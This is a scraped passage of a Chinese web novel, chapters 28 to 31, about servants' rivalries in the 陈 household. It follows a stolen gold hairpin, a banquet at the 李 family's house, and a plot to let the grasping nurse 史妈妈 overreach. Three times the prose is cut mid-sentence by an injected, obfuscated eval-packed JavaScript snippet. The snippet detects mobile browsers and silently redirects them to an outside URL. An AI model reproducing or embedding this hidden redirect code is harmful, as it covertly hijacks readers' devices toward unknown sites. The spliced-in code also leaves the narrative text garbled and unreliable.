金桂听着骂声，也不回嘴，默默起身去烧火，可心里却满是不平。她也委屈，她也累。在蓁娘院儿里，那些大丫鬟、小丫鬟根本不拿正眼瞧她，什么脏活儿累活儿都推给她，动辄还要挨骂受气。回了家，不但得不到半点宽慰，还要做饭洗衣，听她娘抱怨。 没一会儿，饭做得了。家里没肉，金桂自然变不出来，只煮了一锅糙米粥，切了一碟咸菜疙瘩。哦，还有一个煮鸡蛋，那是单独给金宝的。 见没有肉，金宝顿时闹腾起来，不肯吃饭，金桂娘被吵得头疼，又怕儿子真饿着，只好哄他明天再买，又给了他两个钱买糖，这才好了。 吃了饭，金桂娘又把一堆换下来的脏衣服塞给金桂，让她洗了。 金桂端着一大盆衣服，坐在门口，就着屋里透出的一点光亮搓洗起来，一边洗，另一边眼睛却不由自主地瞟向隔壁胡家，心里又是羡慕又是嫉妒。 28. 第 28 章 上次库房失窃一事虽已完结，可余韵未消，明眼人都能瞧出，三房的李娘子心里憋着一股气，这半个月里，已是寻由头找了好几个二房仆妇的错处，不是斥责规矩松散，就是挑剔活计粗糙，轻则罚月钱，重则挨手板，闹得人心惶惶。 这几个被罚的女使自觉委屈，明明差事办得与往常并无二致，偏那李娘子鸡蛋缝儿里挑骨头。几人凑在一处，越说越觉憋屈，便相约着寻到赵妈妈跟前诉苦。 赵妈妈知道这是三房那边吃了亏，又寻不着梅娘子的错处，便拿着底下人撒气，少不得温言安抚一番，又说被罚的钱梅娘子私下里贴补给她们，叫她们仍旧用心当差。 几人听了这话，知梅娘子体恤，心中怨气便消了大半，纷纷感激涕零，保证必定更加勤谨小心。只是回到下人房中，私下里难免还是要咬着牙骂几句“三房那个惯会刻薄人”。 “椒姐儿，大忙人，最近怎的不来芳汀阁坐坐，姑娘都念叨你几回了。” 胡姣正在灶下发呆，忽然听见有人喊她，抬头一看却是绣橘，忙起身将她迎进来，寒暄几句，又问她这个点儿怎么来大厨房了。 绣橘便说李娘子的哥哥考中了举人，五日后办席面庆贺，下了帖子请陈家阖家前去吃杯喜酒，梅娘子请了县里有名的绣娘顾娘子来家里给姑娘们量尺寸裁衣裳，等会儿还要打制新头面。 “这不，大姑娘便让来取些点心汤羹回去招待顾娘子呢，我想着有段时间没见你了，就抢了芸豆那丫头的差事，自个儿跑这一趟，顺便来瞧瞧你。” 胡姣心里暖融融的，忙让坐，又飞快地给她捡了几样点心，有栗粉糕、鸡油卷、巨胜奴，都用碟子装好，又盛了一盅桃胶皂米羹，一起放进绣橘带来的双层食盒里。 栗粉糕顾名思义是栗子做的，鸡油卷则是一种酥皮点心，带有桂花的清甜和鸡油的脂香。而所谓巨胜奴，其实就是油炸麻花，外酥里软，再洒上一层糖霜，口感香甜。 绣橘领了东西却不急着走，又和胡姣说起话来。说她家如今在市集上做着吃食生意，她爹又成了二门上的副管事，日子是越过越好了，真心为她高兴。 胡姣便道都是托了姐姐和姑娘的福气才有今天。 原来，当初决定将生意彻底转到市集上去时，胡姣曾特意去寻过绣橘，把怕金桂娘使坏告发的顾虑说了。绣橘一开始还觉得可惜，后来听她说了也觉得考虑周到，如今生意越做越大，保不齐就有红眼的故意生事，倒不如撂开手。 胡姣将她应得的那份分润，连本带利一并结清，还额外多包了两百文钱，说是谢她当初倾力相助。绣橘起初死活不肯收那额外的钱，还是胡姣说若是不收便没把她当自己人，绣橘拗不过她，这才收了。 胡姣又道，往后府里哪位姐姐妹妹还想吃她家的点心，只管去南市口寻豆哥儿，只要报上绣橘的名字，一律便宜两成。绣橘自然知道这是胡姣变着法儿帮她拉拢人缘，心中对她的亲近，便又更深了一层。 两人又说了会子闲话，绣橘瞧着时辰不早，怕兰娘等得着急，这才提着食盒站起身。 临了，还拉着胡姣的手，亲亲热热地让她过两天一定记着去芳汀阁坐坐，不然她就要亲自来拿人了。 胡姣连声保证，又将她送到门外。 翠姐儿有人外人在的时候乖得像鹌鹑，这会儿见人一走，就鬼鬼祟祟地凑近胡姣和喜姐儿，开始了八卦。 “诶，你们知道这回中举的是李家哪个吗？” 见胡姣、喜姐儿一脸茫然，翠姐儿颇有得色地告诉两人，这中举的是李家长子，但却不是和李娘子一个肚子里爬出来的，是个庶子。李娘子嫡亲的哥哥是个混不吝的，考了这许多年还是个童生。李娘子头上还有个姐姐，也是一个娘生的，只是嫁的却不如她好，不过是个富商，哪比得上咱们府上呢。 胡姣忍不住拿眼看她。这你都知道？丫头，你也未免太消息灵通了吧？ 翠姐儿没看见胡姣的眼神，又小大人似得叹口气，说：“不过，咱们府上三个老爷，也就二爷有才学，官运亨通。三爷倒和那李娘子的亲哥哥一样，中看不中用，整日里只知走鸡斗狗，吟风弄月，学问上却没半分进益，连个秀才功名都挣不来，全指着老太爷的余荫和二房的提携过日子。” 喜姐儿见她口无遮拦，忙去捂她的嘴，嗔怪她不该背后说主人家的是非。又问她今日该切的萝卜都切完了没有，可别回头鲍娘子查问起来又被骂。 翠姐儿便给她瞧自己的手，说这段时间天天切萝卜，她手都切出泡来了，今日便饶她一天，歇歇吧。 是的，鲍娘子终究还是看中血脉大于天赋，选了翠姐儿做她的徒弟，如今已经开始训练她的刀功了。买了许多大白萝卜堆在墙角，让她天天切，先从最基本的连刀片切起，再到难度高些的蓑衣萝卜，最后还要学着用萝卜雕出各式花鸟鱼虫的造型来。 切废的练手的萝卜也没浪费，都丢进大锅里，加上几根敲开的大骨头，撒上盐和香料，炖得烂烂的给下人们吃。毕竟沾了荤腥，吃起来滋味尚可。可再香也架不住天天吃啊，胡姣只觉得自己现在打嗝儿都是一股子萝卜味儿。 为了少吃几天萝卜，便也帮着督促翠姐儿几句：“你还说嘴，昨儿那篮子萝卜你切了有一半没有？鲍娘子一走你就偷懒，刀功练不好，过段时间中秋考评的时候，我看你怎么办，鲍娘子纵容有心偏袒你，也不好在娘子们跟前做的太明显吧？” 所谓的中秋考评，是指中秋节后府中仆妇的一次内部人事调整。梅娘子等主子会根据这一年丫鬟小厮们的表现，以及各管事娘子的点评，做出相应的工作调动。表现好的，自然可以调去更体面、月钱更高的地方；表现不好的，就保持原样，甚至撵出府去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247396|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 胡姣刚听说时，还暗自嘀咕这不就和前世的年度考核一样吗？她还以为古代奴才做什么工作是全凭主子的好恶或者托关系走门路呢，没想到普通人也有凭本事晋升的机会。 不过，这情况在泰和县却是独一份儿。听她娘刘氏说，这是梅娘子从娘家带来的规矩。梅家那位老祖母是个极有见识的，早年当家时就定下了这章程，说是“有功必赏，有过必罚，方能使人心服，家业兴旺”。 后来梅娘子出嫁，把这规矩也带到了陈家。谁承想，效果出奇的好，下人们见升迁有望，个个卯足了劲儿当差，办事格外精心，于是便也一年年延续了下来。。 翠姐儿见胡姣戳破她的伪装，当下脸一垮，有气无力地说再歇一会儿就去切。 喜姐儿见她这副耍赖的模样，忍不住“噗嗤”笑出声来，还真是一物降一物。 转眼便到了李家办席的正日子。 陈府门前车马如龙。 胡舫如今在二门上管着车马，此番出行车驾安排、随行仆役调度，便是由他和王瑞共同负责。胡舫为人踏实，凡事亲力亲亲为，将一应事务打理得井井有条。 反观王瑞，因着胡舫升任副管事，分了他权柄，心中正不自在，又见胡舫做得周到，更衬得自己无能，脸上便有些挂不住，只阴沉着脸站在一旁。 日头渐渐升高，各房女眷并哥儿姐儿们都已陆续到位，准备登车。 陈老娘今日穿了件赭石色万字不断头纹的缎面褙子，头发梳得一丝不苟，戴了整套的赤金头面，由惠姑和另一个大丫鬟搀扶着，和陈老爹一起率先上了一辆宽敞的青帷马车。王娘子、李娘子、姜小娘并几位小姐、哥儿也各自被丫鬟婆子簇拥着，上了后头的马车。 只是等了半天却不见兰娘，胡舫不敢耽误，便将这事儿告诉了赵妈妈。 赵妈妈经他一提，忙四下张望，果然不见兰娘及其丫鬟身影，心下也是一惊，赶忙去回禀梅娘子。 眼看着快要到开席时间，梅娘子便让赵妈妈赶紧打发人去看看什么情况。赵妈妈连忙应下，指派了一个腿脚利索的小丫头速去芳汀阁催请。 芳汀阁内，此刻却是一片兵荒马乱。 绣橘急的要上吊。几日前为了去李家赴宴，梅娘子特地请人给府里三个姑娘裁制了新衣，打了新头面，如今要出门了，那新做的一只金簪子却不见了。 妆奁、抽屉、匣子全都打开翻检过，褥子底下也摸了一遍，甚至连几个丫鬟的耳房都找了，却始终不见。 兰娘坐在一旁榻上，身上已换好了一件新裁的樱草色提花绫裙，见她着急上火，便宽慰几句，说实在不行拿去年的先顶上便是了，左右都是金子打的，都差不多。 绣橘听了却快哭了：“姑娘你倒是不放在心上，可东西丢了，万一追责起来，都是我们这些丫头的不是。” 29. 第 29 章 这几日，为了赴李家的宴席，梅娘子不但请了顾绣娘来府里为姑娘们裁制新衣，还请了银楼匠人给她们各打了一支赤金点翠蝴蝶簪，用料、做工一模一样，显是怕厚此薄彼，惹人口舌。现在这节骨眼上丢了，绣橘怎能不急。 于是，赶忙问房里的小丫头们有没有见过？或者近两日来有没有其他人进过姑娘房间？ 有个叫荔枝的小丫头说，昨儿见史妈妈从姑娘房里出来过。她还问来着，倒被史妈妈啐了一口，说是如今虽然快五月了，可夜里还是凉，姑娘的皮褥子怎的倒收了起来，换了薄的，要是受了凉，可仔细着。 绣橘恨得牙痒痒，道：“不用说了，肯定是史妈妈瞧着颜色好，自己偷偷顺走了。” 这老婆子仗着是王娘子派来的，又奶了姑娘一场，这些年明里暗里从姑娘这里不知道拿了多少东西，从前的便罢了，可今儿这簪子是梅娘子特意为了赴宴打的，三个姑娘一样，要是等会儿发现自家姑娘没有，那还得了。 说着便要去找史妈妈要回来。 还等没出门，就见一个小丫头进来说梅娘子那边来人催了，说是车驾已齐，就差姑娘了，若无事还请快些，莫误了时辰。 这下，绣橘也没工夫找史妈妈了，只得按照兰娘说的，先找了一只差不多的金簪顶上，好歹糊弄过去。 没一会儿，车队浩浩荡荡，到了李家宅邸。李家老太爷虽不过是县丞出身，但因着李娘子嫁入陈家，如今又出了个举人老爷，排场自是不同往日。门前车马簇簇，张灯结彩，贺客盈门，十分热闹。 车子刚在照壁前停稳，李家几个穿戴体面的丫鬟、婆子便满脸堆笑地迎了上来，引着陈府女眷穿过垂花门，进入内院。 待进了二门，李家的女眷们也迎了出来。李老娘子亲自携着陈老娘的手，一口一个“老姐姐”，亲热得不得了。 “可把老姐姐盼来了！快里面请，今日咱们老姐妹可得好好说说话儿！” 陈老娘亦是笑容满面，连连夸赞李家气象一新，子孙出息，门庭光耀。 一行人说说笑笑，被引至花厅宴席处。 厅内早已布置妥当，桌椅屏风皆为上好的酸枝木所制，碗碟亦是成套的龙泉窑梅子青，显是下了番功夫。众人依序落座，寒暄声不绝于耳。 后厨还未上菜，李老娘子便让丫鬟先把家里的几个姑娘叫出来，给陈老娘及各位夫人见礼。 不多时，几个女孩儿手挽着手，笑吟吟地上前行礼问安。 李老娘子笑着对陈老娘道：“老姐姐别见笑，我们家这些丫头，向来是野惯了的，没甚规矩，比不得府上的姑娘们金尊玉贵。” 陈老娘闻言，连声道：“老姐姐这是哪里话！依我看，姑娘家正该活泼些才好，显得有生气。我们家那几个，倒是太过文静了，我常嫌她们闷呢。” 坐在李老娘子下首的李家大娘子魏氏，正是今日中举的李大郎之妻，向来八面玲珑。此刻见婆婆开了话头，立刻笑着接了过去，对着一旁的梅娘子殷勤奉承起来。 “老太太说得是，姑娘们各家有各家的好。只是说到底，还是梅娘子会调理人。不愧是汴京翰林府上出来的，跟前教养的蓁姑娘、英姑娘，通身的气派，就是和咱们小门小户的不一样。” 说罢又话锋一转，捧起未在场的陈二郎，说他官运亨通，将来必定前程万里。然后又将话头引回自家相公，叹他不惑之年才中举，与亲家老爷相比实是逊色，日后还需陈二郎多加提携云云。 她这话音刚落，坐在她对面的妯娌，李家二娘子苗氏，便是嗤笑一声。 席间有一位姓孙的娘子同她是表亲，见了，便问她为何无故发笑。 苗娘子捏着帕子捂嘴道： “只是想起一句俗话，古人说贤妻令夫贵，要我说，陈相公仕途顺遂，固然是因他才学出众，可梅娘子在内安定后宅，也是功不可没，有些人自己屋里的经念不好，反倒埋怨爷们不争气，可不是好笑吗？” 这话就差指名道姓说李大郎是被魏娘子拖累，才至今日方中举的。 魏娘子脸上的笑容顿时僵住，手里端着茶盏，放也不是，不放也不是。 李娘子眼见嫂嫂们又要掐起来，忙笑着说了几句话打圆场。 “妹妹如今到底是官家太太了，说话办事就是不一样，倒显得我们笨嘴拙舌的。” 又一句女声插了进来。 说话的是李娘子的嫡亲姐姐，她因嫁与了常州府富商严官人，故而被又称作严娘子。这严娘子在家做姑娘时，便常与李娘子别苗头，后来见妹妹嫁了官宦人家，自己却是个商妇，心中更是酸涩难平，逮着机会便要刺上几句。 李娘子自也不是个会谦让的，当即回怼起来。你一言我一语的，几个回合下来，双方都没讨到好。 大喜的日子，家里两个不省心的女儿却在外人面前出丑，李老娘子的脸越来越黑，这时后厨终于开始上菜了，一场闹剧方才匆匆结束。 回去的路上，绣橘一边替兰娘整理衣衫，一边道：“好在今儿人多眼杂，没人特意留意姑娘的头饰，若是叫人看出端倪，还不知要惹出多少闲话来呢。” 说着，她又忍不住劝道：“要我说，姑娘以后也别太好性儿了，由得史妈妈要什么给什么，这些年越发没个顾忌。姑娘还没上头的首饰，她倒先受用了，这还有没有王法了？等回去，我非得去找她要回来不可！” 兰娘不是个刚强的性子，又素来恬淡，于外物并不过分执着。闻言，只是轻轻拍了拍绣橘的手，温声劝慰。 “算了吧，她毕竟是大娘子派来的，又奶了我一场。从前那些东西，她拿便拿了，今儿这簪子我也不要了，你也别去找她。荔枝虽说见她从我房里出来，终究没抓个现行。回头她再去大娘子那里告一状，没得让人烦心。” 绣橘气得脸颊鼓鼓，还要再争：“姑娘！您就是太善了，才纵得这些下人越发不知好歹！” 兰娘却摇摇头，微微撩开车帘望向外面，不愿再谈这个话题。绣橘见状，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260442|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得作罢。 然而，兰娘的体贴和宽容，并未换来史妈妈的感恩戴德。反而像是摸透了兰娘的性子，越发肆无忌惮起来。 没过几日，她竟又看中了兰娘妆奁里的一枚宝石戒指，那是去李家赴宴那日魏娘子给的。 魏娘子娘家是邻县有名的富商，家底颇丰。她一心想攀附梅娘子与陈二郎，又恐直接送礼遭拒，便特地买了暹罗来的宝石，又请了能工巧匠做成戒指，送给陈家的女孩儿。蓁娘的是蓝宝、英娘的是红宝，兰娘也得了一个，是绿宝。赤金的底托嵌着，打磨的光滑圆润，十分的精巧别致。 兰娘不过也才戴了两三回，谁知竟被史妈妈瞧见了，恬不知耻地寻了来讨要。 这回史妈妈连表面功夫都懒怠做，直接当着兰娘的面便道：“姑娘年纪小，皮子又嫩，戴这般深色的宝石反倒显老气。横竖收着也是收着，不如与了我罢。” 这不要脸的态度，让荔枝、芸豆等小丫头看得目瞪口呆。 绣橘忍不住刺她：“妈妈怕是晌午吃多了酒，怎的大白天就说起了胡话？这戒指是李家大娘子给姑娘的表礼，与了你算怎么回事儿？” 史妈妈仗着有王娘子撑腰，连兰娘都不十分放在眼里，何况绣橘一个丫头。当即啐了一口，骂道： “姑娘还没发话，你倒抢先抖起威风来了，妈妈我还轮不到你来说！也是姑娘太好性儿，纵的你们这些个丫头不知天高地厚，一个个的跟副小姐一样，好不好的早晚都撵出府去，或者拉去胡乱配个小厮算完。” 绣橘气的眼睛都红了。 “妈妈这话好没道理！我们这些做丫头的，哪一日的差事不曾尽心竭力？姑娘是好性儿，可不在我们这上头，这院儿里当真敢摆二主子谱儿的，恐怕另有人在。再者你老若是瞧着我们不顺眼，不如回了大娘子直接撵我们走，犯不着说些话来糟践人！” 史妈妈被戳中痛处，顿时暴怒，张着手便要扑上来打绣橘。 “贱蹄子，凭你也敢编排妈妈我，我今儿非得给你点儿颜色瞧瞧！” 绣橘也不肯退，站在那里等她来打。 兰娘见状，赶紧让芸豆、荔枝一人架着一个拉开了。 又对史妈妈道：“妈妈，你也是府里的老人儿了，又是母亲指派来的，身份尊贵，何必跟一个丫头置气，那戒指你若爱，我晚些时候就让人给你送家里去。” 随即又转头，吩咐另一个小丫头柳叶：“你待会儿去钱匣子里取一百钱，去西街陆家脚店打两角好惠泉酒来，妈妈最喜他家的，可别买错了，再去南市口捡那好肉食，不拘什么烧鸡、糟鹅，买上三四样，一并送到妈妈家去。” 史妈妈见兰娘这样给她脸面，便也不好再执意要打绣橘了，只是临走时仍不忘狠狠瞪了她一眼，嘴里也有些不干不净的。 至于绣橘，虽然知道兰娘此番迁就史妈妈，多半还是维护自己的缘故，可到底被史妈妈当着人这般作践，又见兰娘一味退让，心里堵着气，回房后竟一下子就病倒了。 30. 第 30 章 胡姣一直记着绣橘上回的话，让她得空便来芳汀阁坐坐。这日正赶上休沐，她特意做了几样细巧点心，用食盒仔细装了，一路拎着往芳汀阁去。 到了地方，却不见绣橘。小丫头芸豆说她病了好几日了，连床都爬不起来。 芸豆一边吃胡姣带来的红豆酥饼，一边道：“就是上回从李家回来，为着史妈妈偷拿姑娘东西的事，两个人闹起来，绣橘姐姐被那老货好一顿排揎，她又气性大，这不就病倒了。” 胡姣便把带来的点心都交给芸豆，让她分给院里其他小丫头，自己则快步往绣橘房中探望。 推开房门，只见绣橘只着一件素色里衣，恹恹地躺在床上，往日红润的脸颊如今蜡黄凹陷，竟瘦得脱了形。 想起她素日的好，胡姣不由得鼻子一酸。 “好姐姐，怎么才几日不见，你就成这幅样子了？” 绣橘听见是她的声音，强撑着要起身，胡姣赶忙上前扶了一把。 “左不过是挣命罢了，本就命如草芥，不知哪一日便悄没声地没了。” 胡姣听她说的悲戚，心里更加酸涩，忙劝慰她。 “芸豆已大致同我说了。这件事千错万错，都是史妈妈欺人太甚。姐姐尽忠护主，任凭说到哪里，都没有你的不是。” 绣橘这才滚下泪来，又把事情详细同她讲了一遍。 “我是实在气不过，凭什么一个奴才倒能欺负到主子头上了，咱们姑娘又是个没有刚性的，由得她在这院儿里作威作福。” 她喘了口气，继续道：“我病了这两日，她越发得意了，在院里指这个骂那个，连姑娘为了回护我们，都平白受了她不少教训。” 胡姣听她说着，也觉得这史妈妈实在太不像样，又见兰娘、绣橘都受她欺负，心思一转，便生出一个主意来。 于是凑近绣橘道：“姐姐，我这儿倒有个法子，兴许能叫那史妈妈狠狠吃个大亏。纵使不能立时将她撵出姑娘院里，也必定能挫其气焰，叫她往后不敢再如此猖狂。” 绣橘忙支起身子，急切追问：“好椒姐儿，快说说是甚法子？” 胡姣便前世所学的“郑伯克段于鄢”之事，换了个壳子说与她听。 “从前有一个大户人家，为娘的偏心小儿子，总是逼着大郎把家业分给二郎。那大郎心里不情愿，却不明说，反而对弟弟格外大方。弟弟要城西的铺子，给了；要城南的田庄，又给了；纵得二郎越来越贪心，越来越跋扈，连规矩都不守了，竟想着要抢大哥当家的位置。” 她顿了顿，继续道：“等到二郎真起了歹心，动手抢家产的时候，大郎这才名正言顺地出手，一举就把弟弟给制服了。旁人不但不说大郎狠心，反倒都骂二郎贪得无厌，活该如此。这招就叫欲擒故纵。” 绣橘听到这里，心神一动，忍不住接话：“我明白了！你的意思是咱们现在就要学那大郎。史妈妈既然又贪又横，咱们就假装怕了她，顺着她，由着她变本加厉地张狂，等她得意忘形，自己把错处送到咱们手上，闹到谁也护不住她的地步……” “正是这个理儿！”胡姣含笑点头道，“登高必跌重，我瞧着这史妈妈也不是什么人缘好的，只怕想看她笑话的不在少数，只要她有了极大的错处，还怕不能拿捏住她吗？” 绣橘听了胡姣一席话，心头积压多日的郁气顿时消去大半，仿佛乌云密布的天陡然透出一线光来。 她忍不住拉住胡姣的手，语气轻快了许多：“等晚些时候姑娘从梅娘子那里回来，我便把你这主意说给她听。姑娘知道了，必定也高兴。” 胡姣却让她不必特意告诉兰娘是她的主意。 绣橘不解：“这是为何？你帮着解决了大麻烦，姑娘定然更看重你。难不成在她面前露脸倒不好？” 胡姣便道：“虽然姐姐同我要好，姑娘也待我亲厚，可我终究不是这院儿里的，若是旁人知道这主意是我出的，保不齐会多想，觉得我是个不安分的，若是再传到娘子们耳朵里，于你，于我，于姑娘，反倒都不美了。” 绣橘想了想也觉得有道理。府里人多口杂，确实容易生事。 “你说的是。那便依你，只说是我自个儿想出来的法子。只是委屈了你一番心思。” 胡姣笑道：“这有什么委屈的，只要事情能成，挫了那老货的气焰，让姑娘和姐姐日后能过得舒心些，谁出的主意又有什么要紧？” 绣橘见她如此通透豁达，心中更是喜爱，又拉着她细细商量了一番具体该如何行事，何时纵，何时收，如何引那史妈妈自己往坑里跳。两人头挨着头，低声说了好一阵子。 眼见窗外日头渐渐西斜，胡姣便起身告辞。 绣橘精神好了许多，竟要下床送她，被胡姣坚决按了回去。 “姐姐好生歇着，养足了精神才好唱后面的大戏。我过两日再来看你。” 也不知绣橘究竟是如何说的，那日之后，兰娘竟同芳汀阁的丫头、婆子们叮嘱了万不可招惹史妈妈，更要像尊重她一样尊重史妈妈。这下史妈妈更加得意了，自以为拿捏住了兰娘，行事越发没有顾忌起来。 “鲍娘子，我们史妈妈叫做个羊四软来吃，这里是五十个钱。” 兰娘院里的小丫头柳叶，站在大厨房门口，脆生生地朝着鲍娘子说道。 这会儿正是晚食的时间，大厨房忙得不可开交，鲍娘子一听这话就上火，没好气道：“哟，史妈妈，好大的牌面啊，你瞧我这儿可还有空儿腾出手来与你做？” 所谓羊四软，就是羊肚、羊腰、羊肠、羊血，要先用大骨头并萝卜、姜片熬制汤底，再将羊四软分别焯水后入汤，加上好黄酒及米醋慢炖至软烂，吃的时候切成细丝，再浇上薄芡。 这道菜本是市井小食，用料倒是寻常，可却极费功夫。鲍娘子平时很少做这种费功夫的菜，除非是陈老爹、陈老娘等主子点菜。如今，这个不知狗头嘴脸的史妈妈竟也想要她伺候，呸！ 鲍娘子脸色很不好看，可柳叶却不敢走，站了一会儿，又赔着笑脸上前。 “好妈妈，求您疼女儿，我们史妈妈那脾气，要是今儿我没带回去东西，非得活吃了我不可。您不知道，如今连我们姑娘都让她三分呢。” 见鲍娘子仍不为所动，柳叶又近前一步，朝她手里塞了个荷包。 “姑娘也知道您管着一家子的吃喝，着实辛苦，这点子心意，您拿着喝盏茶。” 鲍娘子是惯与银钱打交道的，手一掂就知道数目，这荷包里估摸着也有三十多个钱，心里不禁盘算开来。 羊四软用料贱，一大碗不过十来个钱尽够了，柳叶给了五十个钱，做上三碗还有富余，又额外给了小费。做上这一回，倒能落下四五十文，抵得上给主子做菜得的赏钱了，她再是拿大也不好和钱过不去。于是，便答应下来，又让柳叶先回去，说等下做好叫人给她送到芳汀阁。 大厨房今日没有买羊，鲍娘子便数出三十个钱，让翠姐儿拿着去南市口的王记脚店捡些熟的羊肚、羊腰、羊肠、羊血来。 虽然她答应给史妈妈做羊四软，可也没说一定要自己动手，那老货可不配。反正柳叶给的钱多，倒不如多花几个买现成的，回来不过加上点高汤稍微一炖，再切成丝就行了。 翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288653|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐儿脚程快，不过两盏茶的功夫就买回来了。 鲍娘子瞧了一眼，处理得还算干净，也不叫洗，让翠姐儿直接丢到吊着高汤的锅里，等炖得烂熟了，就捞起来切成丝。 闻言，翠姐儿呆愣在原地。她不过才切了几天萝卜，这就能上手做菜了？ 鲍娘子见她这呆样，张嘴又要骂。还好胡姣眼疾手快拽了她一下，翠姐儿这才回过神来，不敢再质疑她表姨的决定，鹌鹑似的把那一盘子羊杂碎都切了。好在这么长时间的萝卜也不是白切的，翠姐儿如今的刀功虽然比不上鲍娘子，也算拿的出手了。 鲍娘子拿眼一看，没再骂人，自己用高汤勾了薄芡浇上去。又让胡姣盛出一碗给芳汀阁送去。 胡姣到了芳汀阁的时候，正看见史妈妈大喇喇地坐在兰娘的软榻上，使唤小丫头给她捶腿。一旁的芸豆见了赶紧接过她手里的食盒。 史妈妈端起小丫头递来的羊四软，吃了一口，撇撇嘴：“鲍娘子的手艺是越来越不行了，连个杂碎都做不好，一股子膻味儿。” 这纯属是没事找事，羊肚、羊腰、羊肠、羊血哪个不是味儿大的？她自己喜吃这些东西，却还要怪厨子手艺不行，怨不得鲍娘子不愿意亲自动手。 胡姣假装听不出她的阴阳怪气，提了食盒就走。芸豆见史妈妈吃得正香，也跟着溜了出来。 胡姣给了她一包自己做的蜜饯，芸豆喜滋滋地接过。她最喜欢椒姐儿来芳汀阁，每次都带好吃的，人又和气，上上下下都能分到。 “椒姐儿，你都不知道，我这些天可难熬了。史妈妈天天找下面人麻烦，姑娘也纵着她，就连绣橘姐姐都像变了个人似的。” 芸豆拉着胡姣的手诉苦。 胡姣安抚了几句，又问她具体什么情况。 “还不是上次的事情。本来绣橘姐姐没错儿，被史妈妈气了一场病了，谁晓得好了之后就转了性子，不但亲自给史妈妈做了鞋，还主动和她服软，说从前都是她不懂事，冲撞了史妈妈，让妈妈看在她年纪轻的份儿上别同她计较，今后姑娘的事儿还得妈妈把关才行。” 她说着就垮起脸，声音也涩涩的。 “我实在想不通为甚，史妈妈本来就嚣张，现在更加不得了，院儿里从上到下就没有不被她骂的，前两天还打了荔枝，偏姑娘只一味地纵着她，以后都不知我们这些小丫头还有没有活路了。” 胡姣明白这是兰娘和绣橘开始按计行事了，于是少不得先宽慰芸豆几句，只是还没说上几句话，又听见史妈妈骂人的声音，芸豆不敢多待，忙进去伺候了。 回了大厨房，翠姐儿、喜姐儿两个做贼似的拉着胡姣，转到灶台后面，一碗连肉带汤的羊四软赫然出现在眼前。 “我们俩都喝了，这碗是留给你的。” 见胡姣面带犹豫，又晓得她重规矩，翠姐儿忙道： “诶呀，放心好了，鲍娘子知道的，本来也不是大厨房的东西，多一点少一点有什么要紧，她睁一只眼闭一只眼罢了。” 听到在鲍娘子跟前过了明路，胡姣这才放下心来。 翠姐儿留的都是些羊肚、羊腰，羊肠、羊血很少，一碗里面倒有半碗的料，很是实在。 别看胡家如今做着吃食生意，也攒下了快十贯钱了，可十几文一碗的羊四软在胡姣看来还是小贵的。毕竟同样的价格能买一刀上好五花肉，做成菜够一家子吃两顿了，若是换成糙米，更是能买六七斤，是一个成年人三四天的口粮。 两个小姐妹，有了好吃的没想着藏私，还带着自己，这让胡姣心里很是感动。于是也不客气，坐在灶下香喷喷地吃起来。 31. 第 31 章 胡姣一边吃，一边听翠姐儿讲八卦。 “这老婆子真给大房丢人，要是二房的妈妈绝不敢这样……” 鲍娘子是二房的人，翠姐儿作为她的表侄女言语间自然也向着二房。但其实她也没说错，如果不是王娘子在背后撑腰，史妈妈也不能嚣张至此。 平时在芳汀阁里对着小丫头吆三喝四就算了，现在还把威风耍到大厨房的头上，也不知道她是咋想的。 鲍娘子和芳汀阁那些人可不一样，她自己有手艺，又是二房梅娘子的心腹，便是府上的哥儿姐儿们对她也是客客气气的。史妈妈不过一个女使婆子，居然也点上菜了，要不是看在钱的份儿上，她早大口啐那老货脸上。 不满的不止鲍娘子一个。这段时间史妈妈被芳汀阁众人捧得飘飘然，无意间到处得罪人，连喜姐儿都听说了她的事。 “我有个认识的姐姐，在老娘子那里做事，那天刚好跟着老娘子身边的惠姑去春晖堂领月钱。半道上遇上史妈妈，惠姑就多嘴问了一句，说往日里芳汀阁的月钱不都是绣橘领吗，怎的今日倒劳动妈妈了。 那老婆子也不知吃错了什么药，说话夹枪带棒的，先说小丫头毛手毛脚的顶什么用，又说芳汀阁的事儿上上下下从来都是她亲自打理的，姑娘以后可别错认了人。 这一通抢白直接让惠姑脸上挂不住，一句话没说扭头就走了。 后来，惠姑还私下里同我那姐姐说，这史妈妈不过得了点势，说话却比针尖还利，当真厉害。” 翠姐儿紧跟着又细数了史妈妈的一系列“罪行”，什么克扣小丫头月钱啦，偷吃兰娘的补品啦，势利眼瞧不上别的女使啦……简直没有重样儿的，也难为她从哪儿搜罗来这么齐全的闲话。 总而言之，史妈妈的名声如今已经臭的不能再臭了。 可当事人史妈妈却浑然不觉，消停没两天，又折腾起来了。 